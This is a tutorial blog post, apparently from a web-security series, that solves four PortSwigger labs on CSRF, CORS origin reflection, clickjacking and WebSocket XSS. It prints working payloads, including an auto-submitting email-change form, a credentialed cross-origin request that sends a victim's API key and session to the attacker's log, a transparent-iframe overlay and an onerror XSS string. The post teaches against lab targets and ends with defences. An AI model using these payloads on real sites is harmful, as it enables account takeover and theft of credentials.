Introduction
Here in the 27th blog in our 30-project blog series on web security, we move to another set of attack vectors, the client-side attack vectors, or the vulnerabilities that create on the user and rely on the trust pinned on his browser. Although server-side bugs are typically what make the news, client-side vulnerability such as CSRF, CORS misconfiguration, Clickjacking, and WebSocket abuse can be equally harmful, in particular, when combined with user-interaction. Here in this blog, we learn how a tiny little misconfiguration or slip can result in massive implications on the browser to server relationship. Every attack will be presented by simple practical labs by PortSwigger to get practical idea of the concepts without too much theory to deal with.
Lab1: CSRF vulnerability with no defenses (When Trust Backfires)
Field | Details |
Lab Name | CSRF vulnerability with no defenses |
Lab URL | Visit Lab |
Credentials | wiener:peter |
Cross-Site Request Forgery (CSRF) is a critical vulnerability that exploits a website’s trust in the user’s browser. It tricks authenticated users into submitting unwanted actions — like changing email addresses, transferring funds, or deleting data — without their consent.
Core Attack Mechanics
- The CSRF Trinity: For an attack to work, three conditions must align. (Credit - Rana Khalil’)
Condition | Description |
1. Relevant Action | Action that impacts user state or security |
2. Cookie-Based Auth | Session is handled solely via browser cookies |
3.Predictable Params | No anti-CSRF tokens or random request values required |
Now to have an descriptive diagram on how the attack work’s let’s have an visual representation of the attack.
Note that burp pro has an option to generate poc
for this vulnerability since we don’t have burp pro we have to rely on creating our own simple scripts.
Now let’s understand this vulnerability by solving the lab. After logging in to the application we do see an option to change email. To solve the lab we need to change the email by tricking the end user.
Let us create the following simple html
with basic javascript
script tag to create and submit a form, that accepts input email
from the end user and submits it to the server.
<form method="POST" action="https://0a7c003e037d0fde81aca26500370002.web-security-academy.net/my-account/change-email">
<input type="hidden" name="email" value="test@gmail.com" />
</form>
<script>
document.forms[0].submit();
</script>
Do make sure that you change the website
according to your lab and paste or type the script to the exploit server
. If everything so far is executed without flaws, once you hit deliver exploit to victim
, that should solve the lab.
Lab 2: CORS vulnerability with basic origin reflection (When Trust Turns Too Generous)
——————————————————–
Field | Details |
Lab Name | CORS vulnerability with basic origin reflection |
Lab URL | Visit Lab |
Credentials | wiener:peter |
The browsers block JavaScript requests to a domain other than the one which served the page by default. CORS is in place only to release that restraint at its discretion. CORS (Cross-Origin Resource Sharing) describes a browser concept that is essential to relax the principle of the same web origin - the same-origin policy (SOP).
This is a security term that prohibits data access across domains. CORS is a deadly avenue of data theft with a misconfiguration. E.g.: Suppose bank.com
wants its users to be able to request resources in evil.com
. bank.com
must use CORS headers to permit it in the browser unless it is a request made by a user at bank.com
.
CORS headers :
Header | Purpose |
Access-Control-Allow-Origin | Specifies which origins are permitted to read the response. |
Access-Control-Allow-Credentials | Allows cookies, authorization headers, or client-side certificates to be sent. |
Origin | Sent by the browser to indicate the requesting origin. |
Access-Control-Allow-Methods | Lists allowed HTTP methods (GET, POST, etc). |
Access-Control-Allow-Headers | Specifies which headers can be sent with the request. |
Common CORs Misconfigurations:
Vulnerability | Description |
Wildcard origin with credentials | Access-Control-Allow-Origin: * and Access-Control-Allow-Credentials: true – this violates the CORS spec and some browsers (older versions) may ignore the risk. |
Reflection of arbitrary origin | If the server reflects any Origin header without validation, it trusts any origin — opening up attacks. |
Subdomain trust | Blindly trusting subdomains like *.example.com can be risky if any subdomain is compromised. |
Generic Methodology to hunt for CORS
Step 1: Map endpoints on the web application manually or via crawling. (e.g., /accountDetails
, /api/key
).
Step 2: Test ACAO (Access Control Allow Origin) reflection:
GET /accountDetails HTTP/1.1
Origin: https://attacker.com // Inject random origin
Also you could simultaneously do this simple check for CORS:
Access-Control-Allow-Origin: https://attacker.com
Access-Control-Allow-Credentials: true
Tools for CORS Testing
Tool | Description |
Burp Suite | Used for manual interception and header manipulation. |
CORStest | Automated scanner for finding misconfigured CORS. |
Corsy | Fast CORS misconfiguration scanner in Python. |
cURL | Used for quick tests via terminal: |
curl -H "Origin: http://evil.com" --verbose https://target.com/api | Sends a request with a custom Origin header. |
Exploitation
To understand the exploitation of CORS
with an typical example of banking application, here is an simplified flowchart to understand the attack flow.
Let’s quickly understand it by solving one of the porswigger’s lab. First let’s access the lab and login. As soon as we login tot the application we get API key.
Let’s look at the burpsuite to understand what is happening under the hood. We see an request made to /accountDetails
and we get session
and API
key.
We send this request to repeater and see if we can change the origin by adding the origin header at the end of the request, and fortunately for us, the client accepts this request and we get request and it get reflected on the response.
Now let’s quickly create an payload using js
and html
that would make an request to this endpoint, and will give us the response of administrator's
API key and session cookie.
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<script>
const request = new XMLHttpRequest();
request.open("get", "https://0a4d00cc037c232780ef9e6b008a0010.web-security-academy.net/accountDetails", true);
request.onload = () => {
window.location.href = "/test?key=" + request.responseText;
};
request.withCredentials = true;
request.send();
</script>
</body>
</html>
Be sure to change this script with reference to your portswigger lab, store
the script and deliver this script to the victim.
Once delivered, check application logs, you should get the key
that contains the details , and it should be in URL encoded json format
Your data might look something like the followeing.
{%20%20%22username%22:%20%22administrator%22,%20%20%22email%22:%20%22%22,%20%20%22apikey%22:%20%22EHrEfynGK5mrtqn1OM15Ja0sNPOzfiPs%22,%20%20%22sessions%22:%20[%20%20%20%20%227UXhUkzMUhlsZZsnN9asRwpXvl5DLoVs%22%20%20]}
Now once decoded we do see API key
and session details
and let’s copy the API key
and submit it to the lab.
{ "username": "administrator", "email": "", "apikey": "EHrEfynGK5mrtqn1OM15Ja0sNPOzfiPs", "sessions": [ "7UXhUkzMUhlsZZsnN9asRwpXvl5DLoVs" ]}
With this our lab should be solved.
Lab 3: Clickjacking with a frame buster script (When, What You See Isn’t What You Click)
Field | Details |
Lab Name | Clickjacking with a frame buster script |
Lab URL | Visit Lab |
Credentials | wiener:peter |
Clickjacking A misleading UI redress attack in which a victim clicks on an object other than an object of his or her perception usually with dire effects. Here we are going to exploit this idea in order to fool a logged-in user into deleting his/her account in the context of this PortSwigger lab. So how do we do that? Let us look at this in detail.
The clickjacking enumeration methodology
You can perform a clickjacking vulnerability test by simply following the procedure as given:
Find touchy activity buttons: Seek out buttons this and in the form of Delete Account, Transfer Funds, Change Email etc.
Check framing-headers: Look to see if there is X-Frame-Options
or Content-Security-Policy: frame-ancestors
. When the page is lacking or has been incorrectly set up it is prone to be framed.
Test within and iframe: Design a basic HTML code having an <iframe>
linking to the desired address.
And in case the target is loaded into the iframe, it is susceptible. And this is the type of clickjacking vulnerability we would be exploiting.
Assess impact: Make sure there is no re-auth or additional confirmation of the action (e.g no CAPTCHA, CSRF checks). And if there are then you might need to take additional measures to bypass these security measures.
Pro TIP: Create an overlay: Use CSS and make the iframe transparent. This puts an obvious fake element (such as Click Me) in the same line as the actual button.
In this Lab… the delete account button is at /my-account/
on this PortSwigger lab page, and this page is framable
. To solve the lab we need to trick user into deleting the account.
The page was loaded in an invisible iframe
and we applied a disguised button with a <div>
with position absolute and z-index as decoration. As soon as the victim presses the fake button, the destructive action is actually placed under the button to be clicked successfully resolving the lab.
Exploitation
We can overlay the framed page with a fake button using html
and css
and our payload looks something like this.
<style>
iframe {
position:relative;
width: 1000px;
height: 700px;
opacity: 0.000001;
z-index: 2;
}
div {
position:absolute;
top: 515px;
left: 60px;
z-index: 1;
}
</style>
<div>CLICK ME</div>
<iframe src="https://0abf0075047d07d980eb035d008100e5.web-security-academy.net/my-account"></iframe>
On the top of the lab, we see an option to access the exploit server
let’s head over there and make sure in the src
tag you change the URL with your lab’s URL. Once you store this and deliver the exploit to the user, you must have solved this lab.
Lab 4: Manipulating WebSocket messages to exploit vulnerabilities
Field | Details |
Lab Name | Manipulating WebSocket messages to exploit vulnerabilities |
Lab URL | Visit Lab |
Credentials | wiener:peter |
WebSockets enable real-time, two-way communication between a client and server. They’re powerful for live apps like chat systems, dashboards, games, or trading platforms — but they bypass traditional HTTP defenses and, if mishandled, become a goldmine for attackers.
In this section we will be seeing what WebSockets are, how to identify and test them for vulnerabilities, and finally, how we exploited a live chat feature using message manipulation and XSS to solve the PortSwigger lab.
A **WebSocket** is a communication protocol that provides **full-duplex, persistent** connections over a single TCP socket.
Unlike HTTP (which is request/response), WebSockets allow either side (client/server) to send messages at any time.
Lifecycle of web-sockets:
Client sends HTTP Upgrade request
Server responds with 101 Switching Protocols
WebSocket handshake is complete — now data flows both ways continuously
WebSocket vs HTTP – Comparison
Feature | HTTP | WebSockets |
Protocol | Stateless | Stateful |
Communication | Request/Response | Full-duplex (client/server can both send) |
Port | 80/443 | 80/443 |
Data Format | Headers + Body | Custom JSON, text, or binary |
Use Case | Page loads, APIs | Live chat, gaming, stock feeds |
How to Identify WebSockets
In the Browser:
Open DevTools → Network tab → Filter by WS
You’ll see an initial handshake, followed by live message exchanges.
In Burp Suite:
Enable intercept and trigger the feature (e.g., chat).
Look under Proxy → WebSockets history.
You’ll see client → server
and server → client
directions.
Do note that testing websockets
is no different from testing http requests and responses
. Same vulnerabilities ranging from xss, sqli, IDOR
can be found in web sockets. Let’s
solve this with an portswigger lab.
Now let’s go to the live chat and try triggering xss
We will be using the following payload.
<img src=1 onerror='alert(1)'>
We see that this action triggers two web sockets
to the server, the one highlighted with blue looks like this:
{"message":"<img src=1 onerror='alert(1)'>
"}
And the one highlighted with yellow has request somewhat like the the following:
{"user":"You","content":"<img src=1 onerror='alert(1)'>
"}
Let’s quickly send both of the requests to the repeater. We can remove the encoding and simply add the previous payload to trigger xss
.
<img src=1 onerror='alert(1)'>
We do observe that the blue highlighted web socket request, upon modification solved the lab.
Conclusion
As the finishing line of this blog series comes closer in sight, the conclusion is that client-side vulnerabilities are not mere skin-deep flaws to be presenting vanity issues but in their own right a significant set of issues to go unaddressed. CSRF tricks which silently modify data, CORS flaws which leak sensitive output of APIs, clickjacking illusions which fools users into doing malicious things, and WebSocket attacks which circumvent typical HTTP defenses, there are CSRF tricks, CORS flaws, clickjacking illusions, and WebSocket attacks where browser trust seems delicate.
Client-side attacks continue to represent such a serious threat due to the fact that they take advantage of the natural trust browser places on web-based user and cross-origin restrictions. As can be seen in our PortSwigger labs, even the lack of anti-CSRF tokens, lax CORS headers, or unverified WebSocket messages can result in account takeovers, data theft and untrusted commands. Defense to these attacks needs to be multi-layered:
Deploy anti-CSRF tokens and same site cookies.
Use strict CORS policies (donī pound super wildcard!).
Framing: You can prevent this by using X-Frame-Options or CSP.
WebSockets inputs are endpoints just like any API; sanitize them.